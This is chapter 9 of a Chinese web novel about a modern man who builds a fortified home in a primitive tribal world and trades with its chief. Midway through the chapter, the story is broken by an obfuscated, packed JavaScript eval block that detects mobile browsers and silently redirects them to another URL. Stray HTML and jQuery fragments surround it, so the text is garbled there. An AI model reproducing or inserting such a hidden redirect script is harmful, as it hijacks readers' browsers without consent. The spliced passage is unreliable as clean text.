9.第 9 章
作品:《我在原始部落养首领》 “陶罐和布。”宴拓重复了一遍。
“是。”魏然笑得坦荡。
“可以。”
他答应得干脆,反倒让魏然准备好的说辞没了用武之地。只得端起茶杯抿了一口,借着氤氲的水汽打量对方。
“不过,沧水部落的麻布粗糙,比不上你身上这般细软。”宴拓手指在滚烫的杯沿上轻轻摩挲,深邃的眼底看不出情绪。
“无妨,”魏然放下茶杯,“能蔽体就行。”
这布他本也不是真要做成衣服的,只不过是觉得上次的买卖亏了,非要找补点什么回来。
“十五日后是各部落的交易日,到时会有许多部落参加,他们的麻布更细软。”
魏然眸光微动,“听起来不错,”他状似随意地把玩着手中的茶杯,“不过我对布料没什么要求,结实耐穿就好。”
“既然如此,明日我让人把陶罐和麻布送来。”宴拓起身,像是才想起来问,“那四人你准备再留几日?”
魏然粗粗计算,说出了个并不过分的时间,“除开余下的三日,再留七日可好?”
“可以。”
宴拓走到院门口,忽然停下脚步,回头看迎着日光的少年,阳光让他的笑更加晃眼,与身后的旷野形成奇妙的对比,像是一株误入蛮荒的珍稀植物。
他的视线在那张脸上停留了一瞬,才转身离开。
等待土坯晾晒的四日,小院外面的沟渠真的只完成个雏形。但凡弹跳好的野兽,掉进去也就是窜一下的事儿。
倒是小院的木门,已经捣鼓着做好了。
经过几日相处,魏然与石根几人愈发熟络。他并不吝惜吃食,除了第一日的鹿肉汤,后面还准备了鱼汤和鸡汤。当然因为钓鱼比较容易,大多数的加餐都是鱼汤。
前日魏然钓的鱼比往日都多,他还用草绳栓好,每人送了一条,全当做“奖金”。
怕他们没吃鱼的经验,拿回去也不会做,还细细教了做法。不过这样稀罕的东西石根他们谁也没舍得吃,转手和部落的人交换更需要的粮食和物品了。
魏然倒是因此得了启发,过几日的交换集会上,自己或许可以多带些鱼。
比起狩猎,钓鱼要安全的多。而且除了钓鱼,他还会编简单的鱼篓,到时候放到河里,收获一定不错。
之前就听石根他们讲过交换集会,那是各部落之间以物易物的地方。从春分这日开始,每二十日就会有一次,但往往每岁的第一次都是最热闹的。
来这里之后,他只接触过沧水部落,正好也能趁着这次机会接触下外界。
土坯砖晾晒好后,剩下的院墙只一日的功夫就已经砌好了,三米多不到四米高的院墙,坚实且厚重。将从四人那淘换回来的破损陶器摔碎,用黄泥竖着立在墙顶,密密麻麻的,样子着实唬人。
四人一边干活一边夸赞,“这个法子好,就是熊掌按上去也得划出个口子。”
院墙砌好,又等了两日才装的木门。装门的同天,简易的车库落成。人、狗、车都有了遮蔽,终于可以将钱崇放在他这的酷迪六米球拿出来了。
想到这东西花了钱崇两个月的工资,竟没叫他见着面,魏然不禁苦笑摇头。
待帐篷支好,外边天色已然全黑。
帐外,能看见内里壁炉昏黄的炉火,长长的银色金属烟囱伸出去,在夜色中升起袅袅白烟。
帐篷内,东边是他自制的木床,铺着充气床垫和被褥,旁边是用干草和麻布做的狗窝。西边是充气沙发和放着香菜、小葱苗的木墩。正中间则是蛋卷桌和折叠椅。
只看内部,会让魏然有种并未穿越的错觉。但账外苍凉的荒野和偶尔的兽吼,瞬间就能把人拉回现实。
他难得煮了壶茶,对着炉火发呆,直到深夜才简单擦洗睡下。
这一夜,无梦好眠。
第二日石根四人过来,再次看到高耸的院墙和壮观的院门还是不免惊叹。尤其是当他们进入院子,看到巨大的球形帐时,更是瞪大眼睛好半天说不出话。
魏然也没想藏着掖着,大方开门请四人进屋。
两米八的挑高,要比沧水部落任何一间房屋都高,因为结构干净,没有需要支撑的梁柱,显得里面宽敞整洁,一眼望去视线和呼吸都是极顺畅的,没有丝毫压抑感。
地面用石板修整过,大小不一的石头错落有致,踩着就很踏实。
帐篷四面用的是TPU透明窗,光线经过篷布过滤,温暖干燥。
石根他们不只是说不出话,连手脚都不知该往哪里放,生怕弄脏了这如神迹般的居所。
魏然拿出木碗给他们盛热水,“坐,不着急开工,先暖暖身子。”
四人端着碗,身体僵硬,没人敢去坐那看起来就柔软异常的充气沙发。
魏然无奈,但口气依旧如常地说起今日的安排。“照现在的速度,剩下五日可能完不成外部沟渠的挖掘。”
石根几人脸上顿时有些发热。
还不等他们说什么,就听魏然继续开口:“这个不能怪你们,工具性能太差,不过这两日我争取做个新工具出来,到时候速度可能会快上许多。”
他说的新工具就是锄头,这东西挖沟渠可要比骨耜好用的多。
有了院子遮挡,四人在外面挖沟渠,魏然在院内冶铁造农具。理科生的底子让他造个简易冶铁炉并不困难,有碳钢置物架和木炭,一日功夫,两把锄头就已经做好了。
碳钢架子倒是有剩余,不过想到后面的春耕,还要制造曲辕犁等工具,锄头也不便多做。两个锄头,两两换着用,剩下几日也能将沟渠挖的大差不差。
不知道是不是因为小院建成的原因,当石根他们用上锄头这日,宴拓又陪着宴嗣过来看伤了。
看见宴拓,魏然笑着招呼,“宴拓首领,又见面了。”
宴拓似是没听出他的揶揄一般,神色如常地说:“嗯,又打扰了。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16915443|192019||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“你来怎么能算打扰呢?”魏然侧身让开,“屋里请,别在外面冻着了。”他的语气自然,仿佛宴拓是常来常往的友人。
宴拓点头,跟着走进帐篷。他高大的身躯进入这个充满现代设计感的空间时,有一种奇特的突兀感,仿佛一头猛兽误入了精致的巢穴,连动作都不自觉地收敛了几分。
宴嗣的伤口恢复得很快,魏然检查后道:“长得不错,再过来两次,就不用跑我这换药了,在家精心照看着,等新肉长好,你这伤也就好了。”
宴嗣露出个释然的笑,诚心感谢:“这次多亏有你,不然我......”说着说着,喉咙哽咽的发不出声音。
死他不怕,但他死了,家里的小石头和阿姆要怎么生活。
眼见那么强壮的汉子红了眼睛,魏然忙说:“你忘了,我收了粟米的。伤口恢复的好,少不了家人费心。还有你身体底子好,要真遇见那种风一吹就倒的,我也不敢应承治伤。”
没管魏然怎么说,宴嗣用拳头用力砸了砸胸口,“我的命你救的,等小石头长大,这条命是你的。”
被这么重的承诺砸的有些懵,魏然赶紧摆摆手:“命是自己的,不用给我。如果真感谢我,那就答应我以后帮我做一件事。”
宴嗣听话听一半,执着道:“事我答应,命还是你的。”
魏然:!
行吧,反正他也没有要别人以命相搏的事可以托付,就姑且默认吧。
等两人结束对话,魏然看宴拓目光穿过自己,投向石墩上的香菜和小葱。
“这几株草是你种的?”
被形容成草的香菜和小葱表示,谢谢,有被冒犯到。
“嗯,我种的。”魏然走到他身边,与他并肩看着那点绿意,“宴拓首领喜欢?”
宴拓看的并不是几株植物本身,而是盖在植物外面透明的东西,就像这个半球一样,明明很结实,却能瞧见外面,这让他十分琢磨不透。
“没有,就是看着新奇。”
魏然弯唇轻笑,“没有就好,它们我也只得这几株,宴拓首领要是喜欢,我还真没办法割爱。”
两人也不知道是在说植物,还是说其他什么。
宴拓没有继续这个话题,转而说道:“看你屋舍建的如此好,想来是准备在此定居了?”
“说不上定不定居,”魏然走向壁炉,背对着宴拓,让火光勾勒出自己的轮廓,“只不过暂时没打算去别处。既然不准备马上走,总得有个像样的安身之所。”他转过身问:“坐吗?”
宴拓没有坐,看样子这次是准备同宴嗣一同回部落。
他落在后面,与魏然说:“还有八日就是交换集会,如果你有需要,可同我们一道去。”
魏然虽准备去,却没一口应承,“我再想想。如果去,那就麻烦宴拓首领带我一程了。”
“好。”他未作停留,又看一眼香菜和小葱,带着族人离开了小院。

